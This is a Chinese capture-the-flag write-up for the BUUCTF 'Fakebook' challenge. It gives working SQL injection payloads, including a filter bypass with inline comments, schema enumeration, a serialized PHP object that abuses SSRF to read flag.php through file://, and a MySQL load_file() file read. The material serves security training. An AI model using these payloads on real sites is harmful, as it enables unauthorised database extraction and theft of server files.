BUUCTF[网鼎杯 2018]Fakebook 1
开启靶场,发现为登陆界面。
1,注册一个用户,发现username处的内容是个url,查看一下。
2,查看url,发现存在SQL注入。
?n=1 and 1=1 正常回显
?n=1 and 1=2 回显异常(存在SQL注入)
?n=1 order by 1# 正常回显
?n=1 order by 2# 正常回显
?n=1 order by 3# 正常回显
?n=1 order by 4# 正常回显
?n=1 order by 5# 回显异常(判断存在4个字段)
3,构造SQL语句,发现union select被过滤
使用union/**/select(或unoin all select)可绕过
?no=-1 union/**/select 1,database(),3,4# (查数据库) 发现 'fakebook'
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'# (查表名) 发现'users'
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'# (查字段) 字段名'no,username,data'
?no=-1 union/**/select 1,data,3,4 from users# 查询data的结果
4,考察序列化,一般不会让我们自己猜,肯定会给源码让我们构造的。用dirsearch跑,但没跑出来。最后看了WP,对目录进行扫描发现有flag.php和robots.txt 。
查看flag.php,什么都没发现。查看robots.txt,发现/user.php.bak 。进行访问,发现是个文件,下载查看。发现是php源码.
5,考察代码审计,
这是对blog进行过滤的正则,可以看到过滤的十分严格,直接限制死了只能是http(s): //格式,所以在注册的的是侯操作是不太可能的。
public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }
function get($url) { $ch = curl_init();//创建一个curl资源 curl_setopt($ch, CURLOPT_URL, $url); //设置url和响应选项 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); //抓取url并把它返回给浏览器 $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); //得到最后一个收到的HTTP状态码 if($httpCode == 404) { return 404; } curl_close($ch); //关闭curl,并释放资源 return $output; } public function getBlogContents () { return $this->get($this->blog); //传参blog到get() }
这个地方是直接吧blog当作参数传给get()函数,url没有经过任何限制,是存在ssrf的。这个地方可以使用file:///var/www/html/flag.php读取flag.php,构造payload
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
6,查看网页源代码,发现内联表单中嵌入base64加密的信息,进行解密得到flag。
这个题再比赛的时候还有一个非预期解(现在的环境试修复好的)
mysql中的load_file函数没有禁用,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。
load_file函数只要满足两个条件就可以使用:
1、文件权限:chmod a+x pathtofile
2、文件大小: 必须小于max_allowed_packet
前面我们知道文件的绝对路径了,现在看下当前用户的权限,
?no=2 union/**/select 1,user(),3,4#
是最高权限root,可以使用load_file()读取文件
?no=2 union/ ** /select 1,load_file("/var/www/html/flag.php"),3,4#
得到flag。